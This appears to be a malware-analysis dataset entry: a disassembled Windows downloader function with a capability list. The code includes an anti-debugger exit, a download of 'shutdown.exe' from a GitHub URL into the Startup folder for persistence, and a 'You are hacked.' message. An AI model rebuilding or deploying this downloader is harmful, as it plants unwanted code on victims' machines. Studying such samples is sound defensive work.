Function at 0x4bcfd0
Capabilities:
Create http request
Get common file path
Get startup folder
Read data from internet
Receive data
Terminate process

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x668
call dbg.__main
call dword [sym.imp.KERNEL32.DLL_IsDebuggerPresent]
mov dword [ebp - 0x650], eax
test eax, eax
jne 0x4bd555
mov eax, dword [ebp - 0x650]
lea edi, [ebp - 0x51c]
mov ecx, 0x41
lea esi, [ebp - 0x51c]
mov dword [ebp - 0x63c], 0
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x638]
mov byte [ebp - 0x638], 0
mov dword [ebp - 0x640], edi
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 7
mov dword [esp], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x14
test eax, eax
js 0x4bd35b
lea ecx, [ebp - 0x410]
lea ebx, [ebp - 0x418]
mov dword [ebp - 0x418], ecx
mov dword [esp], esi
call sym._strlen
lea ecx, [ebp - 0x410]
mov dword [ebp - 0x610], eax
lea edx, [esi + eax]
cmp eax, 0xf
ja 0x4bd405
mov dword [esp + 8], edx
mov dword [esp], ecx
mov dword [esp + 4], esi
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._S_copy_chars_char__char_const__char_const_
mov eax, dword [ebp - 0x610]
mov edx, dword [ebp - 0x418]
mov ecx, ebx
mov dword [ebp - 0x414], eax
mov byte [edx + eax], 0
mov dword [esp], str.my_application.exe
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.append_char_const_
push edx
lea esi, [ebp - 0x610]
mov ecx, esi
mov dword [esp], eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
push ecx
mov eax, dword [ebp - 0x640]
cmp eax, edi
je 0x4bd442
mov edx, dword [ebp - 0x610]
lea ecx, [ebp - 0x608]
cmp edx, ecx
je 0x4bd473
movq xmm0, qword [ebp - 0x60c]
mov edi, dword [ebp - 0x638]
mov dword [ebp - 0x640], edx
movq qword [ebp - 0x63c], xmm0
test eax, eax
je 0x4bd468
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x608], edi
xor eax, eax
mov ecx, esi
mov dword [ebp - 0x60c], eax
mov eax, dword [ebp - 0x610]
mov byte [eax], 0
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_dispose__
mov ecx, ebx
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_dispose__
lea eax, [ebp - 0x620]
mov dword [ebp - 0x418], 0x45
lea ecx, [ebp - 0x628]
mov dword [ebp - 0x628], eax
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], ebx
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_create_unsigned_int__unsigned_int_
push edi
push edi
mov edx, dword [ebp - 0x418]
mov dword [ebp - 0x628], eax
mov dword [ebp - 0x620], edx
mov dword [esp], eax
mov dword [esp + 8], 0x4c90c1
mov dword [esp + 4], str.https:__github.com_MeenalShah13_junk_raw_refs_heads_main_shutdown.exe
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._S_copy_chars_char__char_const__char_const_
mov eax, dword [ebp - 0x418]
mov edx, dword [ebp - 0x628]
mov dword [ebp - 0x624], eax
mov byte [edx + eax], 0
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
lea eax, [ebp - 0x640]
mov dword [esp + 4], 1
mov dword [esp], str.Downloader
mov dword [ebp - 0x64c], eax
call dword [sym.imp.WININET.DLL_InternetOpenA]
sub esp, 0x14
mov dword [ebp - 0x654], eax
test eax, eax
je 0x4bd395
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0x14], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ecx
mov eax, dword [ebp - 0x628]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x654]
mov dword [esp], eax
lea eax, [ebp - 0x640]
mov dword [ebp - 0x64c], eax
call dword [sym.imp.WININET.DLL_InternetOpenUrlA]
sub esp, 0x18
mov edi, eax
test eax, eax
je 0x4bd4b1
lea eax, [ebp - 0x640]
mov dword [esp + 4], 4
mov ecx, esi
mov dword [ebp - 0x64c], eax
mov dword [esp], eax
call fcn.0049acd0
push eax
push eax
test byte [ebp - 0x590], 5
jne 0x4bd503
xor eax, eax
mov dword [ebp - 0x644], eax
jmp 0x4bd29b
mov eax, dword [ebp - 0x644]
test eax, eax
je 0x4bd2c1
mov dword [esp + 4], eax
mov ecx, esi
mov dword [esp], ebx
call method.std::ostream.write_char_const__int_
sub esp, 8
lea eax, [ebp - 0x644]
mov dword [esp + 8], 0x400
mov dword [esp + 0xc], eax
mov dword [esp + 4], ebx
mov dword [esp], edi
call dword [sym.imp.WININET.DLL_InternetReadFile]
sub esp, 0x10
test eax, eax
jne 0x4bd280
mov ecx, esi
call method.std::basic_ofstream_char__std::char_traits_char___.close__
mov dword [esp], edi
mov ebx, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call ebx
push edi
mov eax, dword [ebp - 0x654]
mov dword [esp], eax
call ebx
push ebx
mov dword [esp + 4], str.File_downloaded_successfully_
mov dword [esp], 0x4c8a20
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
call method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char______clone_.isra.0_
mov ebx, 1
mov ecx, esi
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
test bl, bl
je 0x4bd3d2
xor ecx, ecx
mov dword [esp + 0xc], 0x30
mov dword [esp + 8], str.Message
mov dword [esp + 4], str.You_are_hacked.
mov dword [esp], ecx
call dword [sym.imp.USER32.dll_MessageBoxA]
sub esp, 0x10
lea ecx, [ebp - 0x628]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_dispose__
mov ecx, dword [ebp - 0x64c]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_dispose__
mov eax, dword [ebp - 0x650]
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [esp + 4], str.Failed_to_retrieve_the_startup_folder_path._Error_code:
mov ebx, eax
mov dword [esp], 0x4c88e0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], ebx
mov ecx, eax
call method.std::ostream_std::ostream._M_insert_unsigned_long__unsigned_long_
push edx
call method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char______clone_.isra.0_
lea eax, [ebp - 0x640]
mov dword [ebp - 0x64c], eax
jmp 0x4bd33e
lea eax, [ebp - 0x640]
mov dword [esp + 4], str.Failed_to_initialize_WinINet.
mov dword [esp], 0x4c88e0
mov dword [ebp - 0x64c], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea edx, [ebp - 0x640]
mov dword [ebp - 0x64c], edx
call method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char______clone_.isra.0_
lea eax, [ebp - 0x640]
mov dword [ebp - 0x64c], eax
mov dword [esp + 4], str.Download_failed.
mov dword [esp], 0x4c88e0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
call method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char______clone_.isra.0_
lea ecx, [ebp - 0x628]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_dispose__
mov dword [ebp - 0x650], 1
jmp 0x4bd33e
xor ecx, ecx
lea eax, [ebp - 0x610]
mov dword [ebp - 0x64c], edx
mov dword [esp + 4], ecx
mov ecx, ebx
mov dword [esp], eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_create_unsigned_int__unsigned_int_
mov ecx, eax
push edx
push edx
mov edx, dword [ebp - 0x64c]
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x610]
mov dword [ebp - 0x410], eax
jmp 0x4bd09c
mov edx, dword [ebp - 0x610]
lea ecx, [ebp - 0x608]
cmp edx, ecx
je 0x4bd473
movq xmm1, qword [ebp - 0x60c]
mov dword [ebp - 0x640], edx
movq qword [ebp - 0x63c], xmm1
mov dword [ebp - 0x610], ecx
jmp 0x4bd134
mov edx, dword [ebp - 0x60c]
test edx, edx
je 0x4bd4a2
cmp edx, 1
je 0x4bd53b
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x640]
mov edx, dword [ebp - 0x60c]
mov dword [ebp - 0x63c], edx
mov byte [eax + edx], 0
jmp 0x4bd134
lea eax, [ebp - 0x640]
mov dword [esp + 4], str.Failed_to_open_URL.
mov dword [esp], 0x4c88e0
mov dword [ebp - 0x64c], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea edx, [ebp - 0x640]
mov dword [ebp - 0x64c], edx
call method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char______clone_.isra.0_
mov eax, dword [ebp - 0x654]
mov dword [esp], eax
lea eax, [ebp - 0x640]
mov dword [ebp - 0x64c], eax
call dword [sym.imp.WININET.DLL_InternetCloseHandle]
push eax
jmp 0x4bd3c6
mov dword [esp + 4], str.Failed_to_open_output_file.
mov dword [esp], 0x4c88e0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
call method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char______clone_.isra.0_
mov dword [esp], edi
mov ebx, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call ebx
push eax
mov eax, dword [ebp - 0x654]
mov dword [esp], eax
call ebx
xor ebx, ebx
push eax
jmp 0x4bd2fe
movzx edx, byte [ebp - 0x608]
mov byte [eax], dl
mov eax, dword [ebp - 0x640]
mov edx, dword [ebp - 0x60c]
jmp 0x4bd4a2
mov dword [esp + 4], str.Debugger_detected__Exiting_program.
mov dword [esp], 0x4c88e0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
call method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char______clone_.isra.0_
mov dword [esp], 1
call dword [sym.imp.KERNEL32.DLL_ExitProcess]